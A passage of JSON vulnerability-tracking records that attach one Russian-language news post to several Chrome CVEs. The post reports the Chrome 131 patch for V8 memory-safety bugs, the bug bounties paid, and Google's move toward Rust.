\u0421\u0428\u0410.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 CVE-2024-12694, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 Compositing, \u0438 CVE-2024-12695, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8. \u0412\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 131.0.6778.204/.205 \u0434\u043b\u044f Windows \u0438 macOS, \u0430 \u0442\u0430\u043a\u0436\u0435 - 131.0.6778.204 \u0434\u043b\u044f Linux.\n\nGoogle \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e Google \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u043b\u0430 \u0440\u044f\u0434 \u0448\u0430\u0433\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Chrome, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0432 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0442\u0430\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u0439 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043d\u0430 Rust.\n\n\u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 Rust \u043f\u0440\u0438\u0432\u0435\u043b \u043a\u00a0\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044e\u00a0\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Android \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u044f\u0442\u044c \u043b\u0435\u0442, \u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u044e\u0442\u0441\u044f \u0438 \u0432 Chrome, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 Google \u0442\u0430\u043a\u0436\u0435\u00a0\u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u0442\u00a0\u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043d\u0430 Rust.", "creation_timestamp": "2024-12-19T17:00:07.000000Z"}, {"uuid": "731b1b08-6b41-485d-a86e-fa069eb7dc17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12694", "type": "seen", "source": "https://t.me/true_secator/6560", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Chrome 131 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0440\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0434\u0432\u0438\u0436\u043e\u043a JavaScript V8.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0438\u0437 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12692, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e Google \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 55 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e \u043d\u0435\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0442\u0430\u043a\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0432\u044b\u043f\u043b\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u0434\u0435\u0444\u0435\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (RCE).\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 BugBounty, - \u044d\u0442\u043e \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8.\n\n\u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12693 \u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0435\u0435 \u0433\u0440\u0430\u043d\u0438\u0446, \u043f\u0440\u0438\u043d\u0435\u0441\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 20\u00a0000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 CVE-2024-12694, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 Compositing, \u0438 CVE-2024-12695, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8. \u0412\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 131.0.6778.204/.205 \u0434\u043b\u044f Windows \u0438 macOS, \u0430 \u0442\u0430\u043a\u0436\u0435 - 131.0.6778.204 \u0434\u043b\u044f Linux.\n\nGoogle \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e Google \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u043b\u0430 \u0440\u044f\u0434 \u0448\u0430\u0433\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Chrome, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0432 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0442\u0430\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u0439 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043d\u0430 Rust.\n\n\u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 Rust \u043f\u0440\u0438\u0432\u0435\u043b \u043a\u00a0\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044e\u00a0\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Android \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u044f\u0442\u044c \u043b\u0435\u0442, \u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u044e\u0442\u0441\u044f \u0438 \u0432 Chrome, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 Google \u0442\u0430\u043a\u0436\u0435\u00a0\u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u0442\u00a0\u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043d\u0430 Rust.", "creation_timestamp": "2024-12-19T17:00:07.000000Z"}, {"uuid": "e0deb9e5-ca04-45f3-82ee-78bc02c4da9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12692", "type": "seen", "source": "https://t.me/true_secator/6560", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Chrome 131 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0440\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0434\u0432\u0438\u0436\u043e\u043a JavaScript V8.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0438\u0437 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12692, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e Google \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 55 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e \u043d\u0435\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0442\u0430\u043a\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0432\u044b\u043f\u043b\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u0434\u0435\u0444\u0435\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 (RCE).\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 BugBounty, - \u044d\u0442\u043e \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8.\n\n\u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12693 \u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a \u043e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0435\u0435 \u0433\u0440\u0430\u043d\u0438\u0446, \u043f\u0440\u0438\u043d\u0435\u0441\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0441\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0435\u043c\u0443 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435, \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 20\u00a0000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 CVE-2024-12694, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 Compositing, \u0438 CVE-2024-12695, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8. \u0412\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 131.0.6778.204/.205 \u0434\u043b\u044f Windows \u0438 macOS, \u0430 \u0442\u0430\u043a\u0436\u0435 - 131.0.6778.204 \u0434\u043b\u044f Linux.\n\nGoogle \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n\u0422\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e Google \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u043b\u0430 \u0440\u044f\u0434 \u0448\u0430\u0433\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Chrome, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0432 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0442\u0430\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u0439 \u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0431\u0430\u0437\u0435, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043d\u0430 Rust.\n\n\u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 Rust \u043f\u0440\u0438\u0432\u0435\u043b \u043a\u00a0\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044e\u00a0\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043e\u0448\u0438\u0431\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 Android \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043f\u044f\u0442\u044c \u043b\u0435\u0442, \u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u044e\u0442\u0441\u044f \u0438 \u0432 Chrome, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 Google \u0442\u0430\u043a\u0436\u0435\u00a0\u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u0442\u00a0\u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043d\u0430 Rust.", "creation_timestamp": "2024-12-19T17:00:07.000000Z"}, {"uuid": "6a5e694d-958e-49d9-87fa-965a3623f123", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12695", "type": "seen", "source": "https://t.me/true_secator/6560", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Chrome 131 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0440\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0434\u0432\u0438\u0436\u043e\u043a JavaScript V8.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0438\u0437 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-12692, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e Google \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 55 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 